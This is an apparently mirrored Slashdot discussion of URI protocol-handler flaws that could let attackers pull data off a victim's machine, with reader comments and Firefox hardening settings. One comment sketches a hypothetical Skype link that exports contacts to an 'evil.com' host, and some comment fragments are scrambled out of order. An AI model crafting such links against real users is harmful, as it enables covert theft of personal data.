Slashdot Mirror
New URI Browser Flaws Worse Than First Thought
narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"
It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?
AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at. I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.
$x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
$x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."
Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Meta will eat itself
"It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."
That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com).
The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.
I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.
The Banjo Players Must Die!
Good thing I use Firefox and not that "URI browser". I feel safe.
Yea, that'd be pointless. Blue wins hands down.
I hate printers.
Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.
/some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.
y backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.
Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest
You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/m
I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.
> AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.
h tml
Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,
HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.
These flaws don't need XmlHttprequest, is also likely to be a vector
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
It's part of the protocol. Any link on any web page should be able to specify ANY protocol.
Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?
The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.
Non story.
Don't forget Mac and Linux. The ability to register a custom protocol handler to launch programs in the OS is standard. The ability to reference said protocol handler in a hyperlink is also standard. These problems effect every (major) OS.
MacOSX has had a number of vulnerabilities due to URI handling:
Daring Fireball - Using the 'telnet' URI Protocol to Delete Files
Mac OS X Volume URI Handler Registration Code Execution Vulnerability
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability
As long as you can get a browser to pass arbitrary data to an application you will be vulnerable. What needs to happen is that the custom protocol handlers should be white-listed by default requiring the user to explicitly allow a new protocol handler. Any protocol handler not handled directly by the browser should display a dialog to inform the user of the action and permit them to cancel it. The user needs to be aware that they're not clicking on a "normal" hyperlink.
Ultimately I think the only way to really mitigate these kinds of security problems is to sandbox or virtualize the browser, which is actually what MS has done with IE7 in Vista. Vulnerabilities are inevitable so the OS and browser should do what it can to limit the extent of the damage that can be caused.
Goto about:config and
r .expose-all
set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).
Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).
To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).
For more info start at http://kb.mozillazine.org/Network.protocol-handle
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol